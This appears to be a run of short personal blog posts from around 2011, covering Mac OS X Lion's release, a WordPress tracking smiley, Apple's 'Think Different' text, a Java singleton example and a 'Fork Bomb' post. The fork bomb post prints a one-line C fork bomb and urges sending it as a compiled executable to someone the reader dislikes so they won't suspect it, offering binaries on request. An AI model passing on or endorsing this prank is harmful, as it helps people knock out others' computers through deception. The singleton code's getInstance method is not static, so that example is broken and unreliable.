Mac OS X Lion


Mac OS X Lion has now been released via the App Store. Yours truly is currently downloading it. I am going to use it and post some reviews about it. So, stay tuned =)

Smiley on the Blog

You may or may not have noticed (probably you haven’t) that there is a tiny smiley at the end of each page on my blog. I was curious when I first noticed it, because I certainly haven’t put it there. After a little digging, I found this info on WordPress support pages. Here’s what it reads:

In order to tell you all the cool stats about how many visitors you’ve had, which of your posts are most popular, and how people get to your site, we need a way to track things.

We’re able to collect this information by loading a small image to your page when someone looks at it.

And we chose a small smiley 🙂

That’s it. Mystery solved. I wonder who decided to choose a smiley as an image. For example, they could have chosen a 1×1-pixel image which could have been virtually impossible to see. It is cute, after all.

Garfield of the Day


  



Viewed 34880 times

Think Different

Here’s to the crazy ones. The misfits. The rebels. The troublemakers. The round pegs in the square holes.

The ones who see things differently. They’re not fond of rules. And they have no respect for the status quo. You can quote them, disagree with them, glorify or vilify them.

About the only thing you can’t do is ignore them. Because they change things. They invent. They imagine. They heal. They explore. They create. They inspire. They push the human race forward.

Maybe they have to be crazy.

How else can you stare at an empty canvas and see a work of art? Or sit in silence and hear a song that’s never been written? Or gaze at a red planet and see a laboratory on wheels?

We make tools for these kinds of people.

While some see them as the crazy ones, we see genius. Because the people who are crazy enough to think they can change the world, are the ones who do.

 

Turns out, the TextEdit application in Mac OS X uses a portion of this text as part of its icon.

Retrieved from Wikipedia on June 22, 2011.

Singleton Classes

Singleton classes are a design pattern used in software engineering which restricts the instantiation of a class to one object. At any time, at most one object of a singleton class can exist.

There are numerous ways to achieve this. Below is a simple approach implemented in Java:


public class Singleton
{
    private static Singleton instance = null;

    /* Since the constructor is private,
     * other classes cannot instantiate this class explicitly
     */
    private Singleton()
    {
    }

    public Singleton getInstance()
    {
        if (instance == null)
            instance = new Singleton();

        return instance;
    }
}


Fork Bomb

Do not try this at home. Try it at someone else’s home..

 

  • main(){while(1)fork();}

 


This is a piece of code known as a fork bomb. When executed, it keeps forking processes again and again, until the system runs out of resources. This is maybe the easiest and quickest way to screw your (or someone else’s) computer. You can grab the code, compile and test it. If you’re gonna do it on your machine, I strongly suggest you do it on a virtual pc (VirtualBox is my favorite). It might also be a great prank to someone you don’t like. However, you might want to compile the code and send them the executable rather than the source, as they might get suspicious. I can provide you with binaries for different architectures, just contact me if you want them.
 
Happy happy joy joy…

Space Shooter X


My new iPhone game, Space Shooter X is ready! You can view the game here! Any feedback (opinion, suggestion, etc) is highly appreciated. I will continue working on the app and upgrade it based on your comments.

Enjoy!